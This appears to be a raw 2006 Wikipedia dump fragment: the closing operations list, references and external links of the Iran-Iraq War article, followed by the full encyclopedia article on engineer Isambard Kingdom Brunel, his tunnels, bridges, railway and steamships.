#[[29 November]] [[1981]]: ''Operation Tarigh ol-Qods''.
#[[21 March]] [[1982]]: ''Operation Fath-ol-Mobeen''.
#[[30 April]] [[1982]]: ''Operation Beit-ol-Moqaddas''.
#[[14 July]] [[1982]]: ''Operation Ramadhan''.
#[[9 April]] [[1983]]: ''Operation Valfajr-1''.
#[[19 October]] [[1983]]: ''Operation Valfajr-4''.
#[[22 February]] [[1984]]: ''Operation Kheibar''.
#[[10 March]] [[1985]]: ''Operation Badr''.
#[[9 February]] [[1986]]: ''Operation Valfajr-8''.        
#[[2 June]] [[1986]]: ''Operation Karbala-1''.
#[[1 September]] [[1986]]: ''Operation Karbala-2''.
#[[9 January]] [[1986]]: ''Operation Karbala-5''.
#[[21 June]] [[1987]]: ''Operation Nasr 4''.
#[[16 March]] [[1988]]: ''Operation Valfajr-10''.
#[[27 July]] [[1988]]: ''Operation Mersad''.

==References==
* Martsching, Brad. &quot;[http://www.american.edu/ted/ice/iraniraq.htm Iran-Iraq War and Waterway Claims],&quot;  [[American University]] Inventory of Conflict &amp; Environment, May 1998.
* [[Center for Strategic and International Studies]]: [http://www.csis.org/burke/reports/9005lessonsiraniraqII-chap01.pdf ''The Lessons of Modern War: Volume Two - The Iran-Iraq Conflict''], with Abraham R. Wagner, Westview, Boulder, 1990.
* Center for Strategic and International Studies: [http://www.csis.org/burke/sa/iranwmdbackground032700.pdf ''Weapons of Mass Destruction in Iran and Iraq ''], [[March 27]] [[2000]].
* GlobalSecurity.org: [http://www.globalsecurity.org/military/world/war/iran-iraq.htm Iran-Iraq War (1980-1988)]
* The Iran-Iraq war: the politics of aggression. Farhang Rajaee. Gainesville : University Press of Florida, 1993.
* UN Secretary General report to the UNSC: [http://www.irna.com/occasion/defence/english/un/page1.pdf p1] [http://www.irna.com/occasion/defence/english/un/page2.pdf p2] * [http://www.irna.com/occasion/defence/english/un/page3.pdf p3].
* [[United States Marine Corps]]: [http://www.fas.org/man/dod-101/ops/war/docs/3203/ FMFRP 3-203 - Lessons Learned: Iran-Iraq War, [[10 December]] [[1990]]].
* Saddām Husayn. 'Address given'. Baghdād, Voice of the Masses in Arabic, 1200 GMT 02 April 1980. FBIS-MEA-80-066. 03 April 1980, E2-3.
*D. Hiro. The Longest War''. 1991. ISBN 0-415-90406-4
*[http://www.historyguy.com/wars_of_iraq.html A list of Iraq's wars and conflicts.]

==See also==
*[[Iran-Israel relations]]
*[[US-Iran relations]]
*[[Battle of al-Qādisiyyah]]
*[[History of Iran]]
*[[History of Iraq]]
*[[Al-Faw Peninsula]]
*[[Frans Van Anraat]]
*[[Mostafa Chamran]], Minister of Defense killed during the Iran-Iraq war.
*[[Saddam's Trial and Iran-Iraq War|Saddam's trial and Iran-Iraq War]]
*[[Arms sales to Iraq 1973-1990]]
*[[Operation Prime Chance]], the United State's involvement
*[[Iran Ajr]], the minelaying ship captured by the U.S.

==External links and further reading==
{{wikisourcecat|Iran-Iraq War}}
* [http://www.ogrish.com/archives/footage_from_iraniraq_war_Oct_06_2005.html Video footage from the war]
*[http://www.rotten.com/library/history/war/wmd/chemical-weapons/nerve-agents/ Iraqi nerve agents]
*Paul Reynolds. [http://news.bbc.co.uk/2/hi/middle_east/3324053.stm How Saddam could embarrass the West], ''BBC'', [[December 16]] [[2003]]. (regarding foreign powers which armed Iraq)
*[http://users.erols.com/mwhite28/iraniraq.htm Global map of countries who took sides in the Iran-Iraq war]
*Kendal Nezan. [http://mondediplo.com/1998/03/04iraqkn When our 'friend' Saddam was gassing people], [[Le Monde Diplomatique]], March 1998. 
*[[Robert Fisk]]. [http://www.zmag.org/hussein.htm Poison gas from Germany], [[The Independent]], [[December 30]] [[2000]]. 
*Lev Lafayette. [http://www.hartford-hwp.com/archives/51/040.html Who armed Saddam?], ''World History Archives'', [[July 26]] [[2002]]. 
*Norm Dixon. [http://www.greenleft.org.au/back/2002/506/506p12.htm How the U.S. armed Saddam with Chemical Weapons], ''Green Left Weekly'', [[August 28]] [[2002]]. 
*Neil Mackay, F. Arbuthnot. [http://www.commondreams.org/headlines02/0908-08.htm How did Saddam get his Chemical Weapons?], [[Sunday Herald]], [[September 8]] [[2002]].
*[http://www.fas.org/irp/congress/2002_cr/s092002.html U.S. helped Saddam acquire Biological Weapons], ''Congressional Record'', [[September 20]] [[2002]]. 
*[[Eric Margolis]]. [http://www.mtholyoke.edu/acad/intrel/bush/margolis.htm British helped Saddam develop biological weapons], [[The American Conservative]], [[October 7]] [[2002]].
*[[Robert Fisk]]. [http://www.zmag.org/content/showarticle.cfm?SectionID=15&amp;ItemID=2442 America wants us to forget about the sources of Saddam's WMD], [[The Independent]], [[October 8]] [[2002]]. 
*Robert Fisk. [http://www.robert-fisk.com/articles154.htm Did Saddam's army test poison gas on missing 5000?], [[The Independent]], [[December 13]] [[2002]]. 
*Elaine Sciolino. [http://www.commondreams.org/headlines03/0213-05.htm Iraq WMD condemned, but West once looked the other way], [[New York Times]], [[February 13]] [[2003]].
*Paul Bond. [http://www.wsws.org/articles/2003/mar2003/chem-m13.shtml British built Chemical Weapons plant in Iraq], ''World Socialist Web Site'', [[March 13]] [[2003]].
*Tom Drury. [http://72.14.207.104/search?q=cache:h2KzqQZl1ToJ:www.sptimes.com/2003/03/16/news_pf/Perspective/How_Iraq_built_its_we.shtml+St.+Petersburg+Times+tom+drury+16+2003&amp;hl=en&amp;lr=&amp;strip=1 How Iraq built its weapons programs: with help from the West], [[St. Petersburg Times]], March 16, 2003.
*[http://www.fas.org/nuke/guide/iraq/cw/az120103.html Iraqi scientist reports on German, other help for Iraq Chemical Weapons program], ''Al-Zaman'', [[December 1]] [[2003]]. 
*Elaine Sciolino. [http://www.informationclearinghouse.info/article1420.htm Saddam's gas victims blame the West], ''New York Times'', [[February 14]] [[2003]]. 
*Eddie Davers. [http://members.optushome.com.au/spainter/Murdoch.html Australia's support for Saddam in the 1980s], ''Overland'', Autumn 2003. 
*Alan Maass. [http://www.socialistworker.org/2004-1/480/480_05_SaddamHussein.shtml When the U.S. supported Saddam: The crimes of a U.S. ally], ''Socialist Worker'', January 2, 2004.
*Joseph Kay, A. Lefebvre. [http://www.wsws.org/articles/2004/mar2004/iraq-m19.shtml The diplomacy of imperialism: Washington-Saddam connection], ''World Socialist Web Site'', [[March 19]] [[2004]]. 
*Alex Lefebvre. [http://www.wsws.org/articles/2004/mar2004/iraq-m24.shtml The diplomacy of imperialism: Reagan administration deepens ties with Saddam], ''World Socialist Web Site'', [[March 24]] [[2004]]. 
*Alex Lefebvre. [http://www.wsws.org/articles/2004/mar2004/iraq-m26.shtml The diplomacy of imperialism: U.S. financial assistance for Saddam in the 1980s], ''World Socialist Web Site'', [[March 26]] [[2004]]. 
*Joseph Kay. [http://www.wsws.org/articles/2004/mar2004/irq8-m29.shtml The diplomacy of imperialism: The end of the Iran-Iraq war], ''World Socialist Web Site'', [[March 29]] [[2004]]. 
*Joseph Kay, A. Lefebvre. [http://www.wsws.org/articles/2004/apr2004/irq9-a02.shtml The diplomacy of imperialism: American policy after the Iran-Iraq war], ''World Socialist Web Site'', [[April 2]] [[2004]].
*[[Robert Fisk]]. [http://www.robert-fisk.com/articles394.htm When I reported Saddam's use of mustard gas, British government told me to stop criticizing our ally, Saddam], [[The Independent]], [[April 10]] [[2004]]. 
*Norm Dixon. [http://counterpunch.org/dixon06172004.html How Reagan armed Saddam with Chemical Weapons], ''CounterPunch'', [[June 17]] [[2004]]. 
*Jacob Hornberger. [http://www.fff.org/comment/com0406g.asp Reagan’s WMD connection to Saddam], ''Future of Freedom Foundation'', [[June 18]] [[2004]]. 
*Aaron Glantz. [http://www.globalpolicy.org/intljustice/tribunals/iraq/2004/0618west.htm The West should go on trial with Saddam], [[Inter Press Service]], [[June 18]] [[2004]].
*[http://www.payvand.com/news/04/jun/1199.html 100,000 Iranians are victims of chemical weapons, supplied by the West], [[IRNA]], June 30, 2004.
*[[Eric Margolis]]. [http://www.bigeye.com/fc122004.htm Put Saddam's backers on trial], ''Foreign Correspondent'', [[December 20]] [[2004]].
*[http://news.bbc.co.uk/1/hi/world/middle_east/4360137.stm Dutchman charged for selling chemicals to Saddam], [[BBC]], March 18, 2005.
*[http://72.14.207.104/search?q=cache:pLDvnuglYNwJ:www.irna.ir/en/news/view/menu-236/0512019282195123.htm+December+01+2005+Vienna+Dec+1+IRNA+testify&amp;hl=en&amp;lr=&amp;strip=1 Iranian survivors of nerve gas attack testify in Chemical Frans' trial], [[IRNA]], December 1, 2005.
*[http://72.14.207.104/search?q=cache:UaBS4eRo6wgJ:www.iranmania.com/News/ArticleView/Default.asp%3FNewsCode%3D38327%26NewsKind%3DCurrent%2520Affairs+LONDON+December+3+IranMania&amp;hl=en&amp;lr=&amp;strip=1 Dutchman know the chemicals were for nerve agents], [[Agence France-Presse]], December 3, 2005.
*[http://www.trial-ch.org/trialwatch/profiles/en/legalprocedures/p286.html Trial Watch: Frans Van Anraat]
*[http://news.bbc.co.uk/1/hi/world/middle_east/4358741.stm Chemical Frans: Saddam's Dutch link], [[BBC]], December 23, 2005.
*Jeff Moore. [http://www.bnfp.org/neighborhood/jmoore.htm Saddam: Made in the USA], ''Bainbridge Neighbors for Peace''. 
*[http://www.gwu.edu/~nsarchiv/NSAEBB/NSAEBB82 Shaking hands with Saddam: U.S. supports for Iraq in the 1980s], ''U.S. National Security Archive''.
*[http://www.sc-ems.com/ems/NuclearBiologicalChemical/MedicalAspectsofNBC/chapters/chapter_7.htm A report on Iranian victims of Iraqi blister agents], ''Medical Management of Chemical Casualties''

====Iranian sources====
* John King. [http://www.iranchamber.com/history/articles/arming_iraq.php Arming Iraq: A Chronology of U.S. Involvement], ''Iran Chamber Society'', March 2003.
* [http://www.jao.ir/ Iran Veterans Affairs Organization]
* [http://www.iranian.com/Revolution/war.html Memoirs, photos, and essays about the war], ''Iranian.com''.
* [http://www.janbazanesfahan.ir/ Isfahan's War Veterans Foundation]
* [[Islamic Republic News Agency]], [http://www.irna.com/occasion/defence/ ''Sacred Defense Epic'']
* [http://www.avini.com/ Martyr Avini's website]. A prominent photographer of the war.

[[Category:Wars of Iran]]
[[Category:Wars of Iraq]]

{{Link FA|is}}
{{Link FA|no}}

[[ar:حرب الخليج الأولى]]
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[[zh:两伊战争]]</text>
    </revision>
  </page>
  <page>
    <title>Isambard Kingdom Brunel</title>
    <id>14890</id>
    <revision>
      <id>42056391</id>
      <timestamp>2006-03-03T14:28:55Z</timestamp>
      <contributor>
        <username>Syrthiss</username>
        <id>334792</id>
      </contributor>
      <minor />
      <comment>/* The Great Western Railway */ +fix broken wiki</comment>
      <text xml:space="preserve">{{featured article}}
[[Image:IKBrunelChains.jpg|thumb|right|250px|Brunel before the launching of the ''[[SS Great Eastern|Great Eastern]]''.]]
'''Isambard Kingdom Brunel''' ([[April 9]], [[1806]] &amp;ndash; [[September 15]], [[1859]]), [[Royal Society|FRS]] was a [[British]] [[engineer]]. Voted the second greatest Briton of all time in a [[2002]] [[BBC]] poll (after [[Winston Churchill]]),&lt;ref&gt;BBC News [http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/2509465.stm Churchill voted greatest Briton] Retrieved Feb. 11, 2006.&lt;/ref&gt; he is best known for the creation of the [[Great Western Railway]], a series of famous [[steamship]]s, and numerous important [[bridge]]s. Though his projects were not always successful, they often contained innovative solutions to long-standing engineering problems.  During his short career, Brunel achieved many engineering &quot;firsts&quot;, including the building of the first [[tunnel]] under a [[navigable river]] and development of the first [[propeller]]-driven steamship, which was at the time also the largest ship ever built.&lt;ref&gt;Humphreys, Rob. ''The Rough Guide To London'', Rough Guides, 2003. ISBN 1843530937&lt;/ref&gt;.

Brunel was a heavy [[cigar]] smoker and suffered several years of ill health with [[kidney]] problems, before succumbing to a [[stroke]] at the age of fifty-three.&lt;ref&gt;Smith, John. ''Troubled It Projects: Prevention and Turnaround'', IEE, 2001. ISBN 0852961049&lt;/ref&gt;

A major programme of events celebrating the life and work of Brunel is planned for the bicentenary of his birth under the name ''Brunel 200''.&lt;ref&gt;Brunel 200 [http://www.brunel200.com Brunel 200 website] Retrieved Feb. 21, 2006.&lt;/ref&gt;  Brunel is also to be featured on the reverse side of the [[British two pound coin|£2 coin]] in the UK to commemorate the same anniversary.&lt;ref&gt;British Royal Mint [http://www.royalmint.com/RoyalMint/web/site/PackedSets/UKIB2BP.asp?pg=1&amp;orderby=release 2006 Brunel £2 Two-Coin] Retrieved Feb. 21, 2006.&lt;/ref&gt;

==Early Life==
The son of noted engineer [[Sir]] [[Marc Isambard Brunel]] and Sophia Brunel ''née'' Kingdom, Isambard K. Brunel was born in [[Portsmouth]], [[England]], on [[April 9]], [[1806]].&lt;ref&gt;Brunel University [http://www.brunel.ac.uk/about/history/ikb History : Isambard Kingdom Brunel] Retrieved Feb. 20, 2006.&lt;/ref&gt; His father was working there on the block-making machinery for the [[Portsmouth Block Mills]].  At 14 the young Brunel was sent to [[France]] to be educated at the the [[Lycée Henri-Quatre]] in [[Paris]] and later, the [[University of Caen]] in [[Normandy]].&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;

Isambard rose to prominence when, aged 20, he was appointed as the chief engineer of his father's greatest achievement, the [[Thames Tunnel]], which runs beneath the river between [[Rotherhithe]] and [[Wapping]]. The first major sub-river tunnel ever built, it succeeded where other attempts had failed thanks to Marc Brunel's ingenious [[tunnelling shield]] – the human-powered forerunner of today's mighty tunnelling machines – which protected workers from cave-in by placing them within a protective casing.  Marc Brunel had been inspired to create the shield after observing the habits and anatomy of the [[shipworm]] (''Teredo navalis'').  Most modern tunnels are cut in this way, notably the [[Channel Tunnel]] between England and France.&lt;ref&gt;West, Graham. ''Innovation and the Rise of the Tunnelling Industry'', Cambridge University Press, 1988. ISBN 0521335124&lt;/ref&gt;

Brunel established his Design Offices at 17-18 Duke Street, London, and he lived with his family in the rooms above.&lt;ref&gt;Mendelssohn-Bartholdy, Felix; Mendelssohn, Cecille; Ward, Jones. ''The 1837 Diary of Felix and Cecille Mendelssohn Bartholdy'', Oxford University Press, 1997. ISBN 0198165978&lt;/ref&gt; [[R.P. Brereton]], who became his chief assistant in 1845, was in charge of the office in Brunel's absence, and also took direct responsibility for major construction activities such as the Royal Albert Bridge as Brunel's health declined.

==The Thames Tunnel==
[[Image:ThamesTunnelFromWapping.jpg|thumb|250px|The [[Thames Tunnel]] in 2005, now part of the [[London Underground]] [[East London Line]] between [[Rotherhithe]] and [[Wapping]].]]
{{main|Thames Tunnel|the Thames Tunnel}}
Isambard worked for nearly two years to create a tunnel under [[London|London's]] [[River Thames]], with operatives driving a horizontal shaft from one side of the river to the other under the most difficult and dangerous conditions. Brunel's father, Marc, was the chief engineer, and the project was funded by the Thames Tunnel Company.  The composition of the Thames river bed at Rotherhithe was often little more than waterlogged sediment and loose gravel, and although the extreme conditions proved the ingenuity of Brunel's tunnelling machine, the work was hard and hazardous. &lt;ref&gt;Aaseng, Nathan. ''Construction : Building The Impossible'', The Oliver Press, Inc., 1999. ISBN 1881508595&lt;/ref&gt;

The tunnel was often in imminent danger of collapse due to the instability of the river bed, yet the management decided to allow spectators to be lowered down to observe the diggings at a [[shilling]] a time.  For the workers the building of the tunnel was particularly unpleasant because the Thames at that time was still little better than an open sewer, so the tunnel was usually awash with foul-smelling, contaminated water. Further complications occurred because the [[superstition|superstitious]] Irish [[navvies]] would frequently extinguish the lights if they feared that a breach was going to occur, believing that the leaking water could not find them in the darkness.&lt;ref&gt;Shelton Kirby, Richard. ''Engineering in History'', Courier Dover Publications, 1990. ISBN 0486264122&lt;/ref&gt;

Two severe incidents of flooding halted work for long periods, killing several workers and badly injuring the younger Brunel.  The latter incident, in 1828, killed Collins and Ball, the two most senior miners, and Brunel himself narrowly escaped death; a water break-in hurled him from a tunnelling platform, knocking him unconscious, and he was washed up to the other end of the tunnel by the surge. As the water rose, by luck he was carried up a service stairway, where he was plucked from almost certain death by an assistant moments before the surge receded. Brunel was seriously hurt (and never fully recovered from his injuries), and the event ended work on the tunnel for several years.&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;

Nonetheless, the first underwater tunnel had been built, and is still in operation on the [[London Underground]] [[East London Line]] between [[Rotherhithe]] and [[Wapping]].&lt;ref&gt;UK Government - Transport for London [http://www.tfl.gov.uk/tube/company/history/early-years.asp London Underground History - The Early Years] Retrieved Feb. 18, 2006.&lt;/ref&gt;

==Bridges==
[[Image:Clifton.bridge.arp.750pix.jpg|thumb|right|250px|The [[Clifton Suspension Bridge]] spans the [[Avon Gorge]], linking [[Clifton]] in [[Bristol]] to [[Leigh Woods]] in North [[Somerset]].]][[Image:Saltashrab.jpg|thumb|right|250px|The [[Royal Albert Bridge]], seen from [[Saltash railway station]].]]
Brunel's earliest solo engineering feats started with bridges – the [[Royal Albert Bridge]] spanning the [[River Tamar]] at [[Saltash]] near [[Plymouth]], and an unusual timber-framed bridge near [[Bridgwater]].&lt;ref&gt;Billington, David P. ''Tower and the Bridge'', Princeton University Press, 1985. ISBN 069102393X&lt;/ref&gt;

Built in 1838, the Maidenhead Railway Bridge over the Thames in [[Berkshire]] remains the flattest, widest brick arch bridge in the world and is still carrying main line trains to the south west.  There are two arches, with each span totalling 128&amp;nbsp;[[foot (unit of length)|ft]] (39&amp;nbsp;[[metre|m]]), having a rise of only 24&amp;nbsp;ft (7&amp;nbsp;m), and a width that carries four tracks.  There remains an older bridge nearby which is not to be confused with Brunel's bridge - the Maidenhead Road Bridge.  Built in 1280 and rebuilt in 1777, it spans the same section of river but relies on twelve arches.

The Royal Albert bridge was designed in 1855 for the [[Cornwall Railway]] Company after [[Parliament of the United Kingdom|Parliament]] rejected his original plan for a train [[ferry]] across the [[Hamoaze]] - the estuary of the tidal [[River Tamar|Tamar]], [[River Tavy|Tavy]] and [[River Lynher|Lynher]].  The bridge consists of two main spans of 455&amp;nbsp;ft (139&amp;nbsp;m), 100&amp;nbsp;ft (30&amp;nbsp;m) above mean high spring [[tide]], plus seventeen much shorter approach spans.  Opened by [[Prince Albert of Saxe-Coburg-Gotha|Prince Albert]] on [[May 2]], [[1859]], it was completed the year of the great engineer's death. 

However, he is perhaps best remembered for the [[Clifton Suspension Bridge]] in Bristol.  Spanning over 700&amp;nbsp;ft (213&amp;nbsp;m) in width, and nominally 200&amp;nbsp;ft (61&amp;nbsp;m) over the [[River Avon]] below, it was the longest bridge in the world at the time of conception. Brunel submitted four designs to a committee headed by [[Thomas Telford]] and gained approval to commence with the project.  Afterwards, Brunel wrote to his brother-in-law, the politician [[Benjamin Hawes]]: &quot;Of all the wonderful feats I have performed, since I have been in this part of the world, I think yesterday I performed the most wonderful. I produced unanimity among 15 men who were all quarrelling about that most ticklish subject – taste.&quot;  He did not live to see it built, although his colleagues and admirers at the [[Institution of Civil Engineers]] felt the bridge would be a fitting memorial, and started to raise new funds and to amend the design.  Work started in 1862 and was complete in 1864, five years after Brunel's death.&lt;ref&gt;BBC History [http://www.bbc.co.uk/history/society_culture/industrialisation/brunel_isambard_01.shtml Brunel: 'The Practical Prophet of Technological Innovation' by Professor G Ross Peters] Retrieved Feb. 17, 2006.&lt;/ref&gt;

As of 2006, there is the possibility that several of Brunel's bridges on the Great Western Raiway may be demolished, because newer rail lines that travel beneath the arches are set to be electrified.  South Buckinghamshire County Council is petitioning to have further options pursued, in order that all nine of the historic remaining bridges on the line can remain.&lt;ref&gt;Bucks CC [http://www.buckscc.gov.uk/archaeology/brunel_bridges_news.htm Brunel’s Bridges under threat] Retrieved Feb. 22, 2006.&lt;/ref&gt;&lt;ref&gt;UK Govt. Dept. for Culture, Media and Sport [http://www.culture.gov.uk/global/publications/archive_1999/World_Heritage_Sites+.htm  World Heritage Sites: The Tentative List of the United Kingdom of Great Britain and Northern Ireland] Retrieved Feb. 22, 2006.&lt;/ref&gt;

== The Great Western Railway ==
[[Image:Paddington Station.jpg|thumb|right|250px|[[Paddington Station]], still a mainline station, was the [[London]] [[terminus]] of the [[Great Western Railway]].]]
{{main|Great Western Railway|the Great Western Railway}}
In 1833 before the Thames Tunnel was complete, Brunel was appointed chief engineer of the [[Great Western Railway]], one of the wonders of [[Victorian era|Victorian]] Britain, running from [[London]] to [[Bristol]] (and finally [[Exeter, England|Exeter]]).&lt;ref&gt;Garrison, Ervan G. ''A History of Engineering and Technology'', CRC Press, 1998. ISBN 084939810X&lt;/ref&gt; The Company was founded at a public meeting in [[Bristol]] in 1833, and was incorporated by [[Act of Parliament]] in 1835. Isambard  made two controversial decisions: to use a [[broad gauge]] of 7&amp;nbsp;ft (actually 7&amp;nbsp;ft 0.25&amp;nbsp;[[inch|in]] or 2140&amp;nbsp;[[millimetre|mm]]) for the track, which he believed would offer superior running at high speeds; and to take a route which passed north of the [[Marlborough Downs]], an area with no significant towns, though it did offer potential connections to [[Oxford, England|Oxford]] and [[Gloucester, England|Gloucester]] and then to follow the [[Thames|Thames Valley]] into London.  His decision to use the broad gauge for the line was controversial in that almost all British railways to date had used the {{standard gauge}} [[standard gauge]]. Brunel said that this was nothing more than a carry-over from the mine railways that [[George Stephenson]] had worked on prior to making the world's first passenger railway.  Brunel worked out through mathematics and a series of trials that his broader gauge was the optimum railway size for providing stability and a comfortable ride to passengers (in addition to allowing for bigger carriages and more freight capacity).&lt;ref&gt;Oliivier, J. ''The Broad Gauge the Banc of the Great Western Railway Company'', 1846&lt;/ref&gt; He surveyed the entire length of the route between London and Bristol himself.

The initial group of locomotives ordered by Brunel to his own specifications proved unsatisfactory, apart from the [[GWR Star Class|North Star locomotive]], and 20-year-old [[Daniel Gooch]] (later Sir) was appointed as Superintendent of [[Locomotive]]s. Brunel and Gooch chose to locate their [[Swindon railway works|locomotive works]] at the village of [[Swindon]], at the point where the gradual ascent from London turned into the steeper descent to the [[River Avon, Bristol|Avon]] valley at [[Bath]]. Drawing on his experience with the Thames Tunnel, the Great Western contained a series of impressive achievements – soaring viaducts, specially designed stations, and vast tunnels including the famous [[Box Tunnel]], which was the longest railway tunnel in the world at that time.&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt; Brunel's achievements ignited the imagination of the technically minded Britons of the age, and he soon became one of the most famous men in the country on the back of this interest.

There is an anecdote which states that Box Tunnel is placed such that the sun shines all the way through it on Brunel's birthday. For more information, see the entry on the tunnel.&lt;ref&gt;Williams, Archibald. ''The Romance of Modern Locomotion'', C. A. Pearson Ltd., 1904.&lt;/ref&gt;

After Brunel's death the decision was taken that the [[standard gauge]] should be used for all railways in the country.  Despite the Great Western's claim of proof that its broad gauge was the better (disputed by at least one Brunel historian), the decision was made to go with Stephenson's narrow gauge – mainly because this had already covered a far greater amount of the country.  In any event, by May 1892 (when the broad gauge was abolished) the Great Western had already been relaid to &quot;[[dual gauge]]&quot; (both broad and narrow) and so the transition was a relatively painless one.&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;

== Brunel's &quot;atmospheric caper&quot; ==
[[Image:Brunel's_Atmospheric_Railway.jpg|thumb|right|250px|The remains of Brunel's atmospheric railway at [[Didcot Railway Centre]]]]
Another of Brunel's interesting though ultimately unsuccessful technical innovations was the [[atmospheric railway]], the extension of the GWR southward from Exeter towards [[Plymouth, England|Plymouth]] (technically the South Devon Railway (SDR), though supported by the GWR). Instead of using [[locomotive]]s, the trains were moved by Clegg and Samuda's patented system of atmospheric ([[vacuum]]) traction, whereby [[piston|pistons]] sucked air from the tunnel.  The section from Exeter to Newton (now [[Newton Abbot]]) was completed on this principle, with pistons spaced every two miles, and trains ran at approximately 20&amp;nbsp;[[miles per hour]] (32&amp;nbsp;[[km/h]]).&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;. Fifteen-inch (381&amp;nbsp;mm) pipes were used on the level portions, and 22-inch (559&amp;nbsp;mm) pipes were intended for the steeper gradients. Unfortunately, the technology required the use of leather flaps to seal the vacuum pipes. The leather had to be kept supple by the use of [[tallow]], and tallow is attractive to [[rat]]s; the result was inevitable – the flaps were eaten, and air-powered vacuum service lasted less than a year, from 1847 (experimental services began in September; operationally from February 1848) to September 10, 1848.&lt;ref&gt;Parkin, Jim. ''Engineering Judgement and Risk'', Thomas Telford (publishers), 2000. ISBN 0727728733&lt;/ref&gt; The accounts of the SDR for 1848 suggest that the atmospheric traction cost 3s 1d per mile (£0.10/km) compared to 1s 4d (£0.04/km) for conventional steam power. The pumping station at [[Starcross]], on the estuary of the [[River Exe]], remains a striking landmark, and a reminder of the atmospheric railway – which is also commemorated as the name of the village [[pub]]. A section of the pipe, without the leather covers, is preserved in [http://www.didcotrailwaycentre.org.uk/ Didcot Railway Centre].

==Transatlantic shipping==
[[Image:Great eastern launch attempt.jpg|thumb|right|250px|SS ''Great Eastern'' shortly before its launching, 1858.]]
Even before the Great Western Railway was opened, Brunel was moving on to his next project – [[transatlantic]] shipping.  He used his prestige to convince his railway company employers to build the ''[[SS Great Western|Great Western]]'', at the time by far the largest steamship in the world.  She first sailed in 1837.  She was 236&amp;nbsp;ft (72&amp;nbsp;m) long, built of wood, and powered by sail and paddlewheels.  Her first return trip to [[New York]] took just 29&amp;nbsp;days, compared to two months for an average sail ship.  In total, 74&amp;nbsp;crossings to New York were made.  The ''[[SS Great Britain|Great Britain]]'' followed in 1843; much larger at 322&amp;nbsp;ft (98&amp;nbsp;m) long, it was the first iron-hulled, propeller-driven ship to cross the [[Atlantic Ocean]].&lt;ref&gt;Lienhard, John H. ''The Engines of Our Ingenuity'', Oxford University Press US, 2003. ISBN 0195167317&lt;/ref&gt;

Building on these successes, Brunel turned to a third ship in 1852, even larger than both of its predecessors, and intended for voyages to India and Australia.  The ''[[SS Great Eastern|Great Eastern]]'' (originally dubbed ''[[Leviathan]]'') was cutting-edge technology for its time: almost 700 ft (213 m) long, fitted out with the most luxurious appointments and capable of carrying over 4,000 passengers.  It was the first ship that was able to cruise under it's own power non-stop from London to New York, and it remained the largest ship built until the turn of the century.  Like many of Brunel's ambitious  projects, the ship soon ran over budget and behind schedule in the face of a series of momentous technical problems.&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;

The ship has been portrayed as a [[white elephant]], but it can be argued that in this case Brunel's failure was principally one of economics – his ships were simply years ahead of their time. His vision and engineering innovations made the building of large-scale, screw-driven, all-metal steamships a practical reality, but the prevailing economic and industrial conditions meant that it would be several decades before transoceanic steamship travel emerged as a viable industry.  Though a failure at its original purpose of passenger travel, it eventually found a role as an oceanic telegraph cable-layer, and the ''Great Eastern'' remains one of the most important vessels in the history of shipbuilding - the [[Trans-Atlantic cable]] had been laid, which meant that Europe and America now had a [[telecommunications]] link.&lt;ref name=3ships&gt;Dumpleton. ''Brunel's Three Ships'', Intellect Books, 2002. ISBN 1841508004&lt;/ref&gt;

==Illnesses and death of Brunel==
[[Image:Isambard Kingdom Brunel - Bronze - Temple - London.jpg|thumb|250px|right|Bronze statue of Brunel at [[Temple]] in London.]]
In 1843, while performing a [[conjuring trick]] for the amusement of his children, Brunel accidentally inhaled a [[half-sovereign]] coin which became lodged in his windpipe. A special pair of [[forceps]] failed to remove it, as did a machine to shake it loose devised by Brunel himself. Eventually, at the suggestion of Sir Marc, Isambard was strapped to a board and turned upside-down, and the coin was jerked free.&lt;ref&gt;Dyer, T.F. Thiselton. ''Strange Pages from Family Papers 1900'', Kessinger Publishing, 2003. ISBN 0766153460&lt;/ref&gt;

Brunel suffered a [[stroke]] in 1859, just before the ''Great Eastern'' made its first voyage to [[New York]]. He died ten days later at the age of 53 and was buried, like his father, at [[Kensal Green Cemetery]] in London.&lt;ref&gt;Kempton, A; Rennison, Robert William; CoxHumphreys, Rob. ''Biographical Dictionary of Civil Engineers in Great Britain and Ireland v. 1 1500-1830'', Thomas Telford (publishers), 2002. ISBN 072772939X&lt;/ref&gt; He left behind his wife, Mary; and son [[Henri Marc Brunel]], who also enjoyed some success as a [[civil engineer]].

==Legacy==
Many monuments to Brunel exist, from the statue at [[Temple]] in [[London]] (pictured) and a further statue at the capital's [[Paddington station]], to the flagpole of the Great Eastern at the entrance to [[Liverpool FC]].  Contemporary locations bear Brunel's name, such as [[Brunel University]] in London, and a collection of streets in [[Exeter]]: Isambard Terrace, Kingdom Mews, and Brunel Close. A road and school in his home town of Portsmouth are also named in his honour, along with the town's largest ''Wetherspoons'' pub.  Although not of any real architectural merit, the Brunel shopping centre in [[Bletchley, Milton Keynes]], is also named after Brunel.

Most of Brunel's bridges are still in use, either as rail routes or converted to motor traffic.  The Thames Tunnel is now part of the [[London Underground]], and the [[Brunel Engine House]] at Rotherhithe that once housed the steam engines that powered the tunnel pumps still stands – as a museum dedicated to the work and lives of Marc and Isambard Kingdom Brunel.

Many of Brunel's original papers and designs are now held in the [http://www.bris.ac.uk/is/services/specialcollections/brunel.html Brunel collection] at the [[University of Bristol]].

In 1975, noted British animator [[Bob Godfrey]] was awarded an [[Oscar]] for his short ''Great'', an irreverent look at Brunel and his times.

Brunel was included in the top 10 of the heavily publicised ''[[100 Greatest Britons]]'' TV poll conducted by the [[BBC]] and voted for by the public. In the second round of voting, which concluded on [[November 24]] [[2002]], Brunel placed second behind [[Winston Churchill]]. The building of the ''Great Eastern'' was also dramatised in an episode of the recent [[BBC]] TV series ''[[Seven Wonders of the Industrial World]]'' (2003).

{{Isambard Kingdom Brunel timeline}}

==See also==
*[[Bristol Temple Meads railway station]]
*[[Chepstow Bridge]]
*[[Hungerford Bridge]]
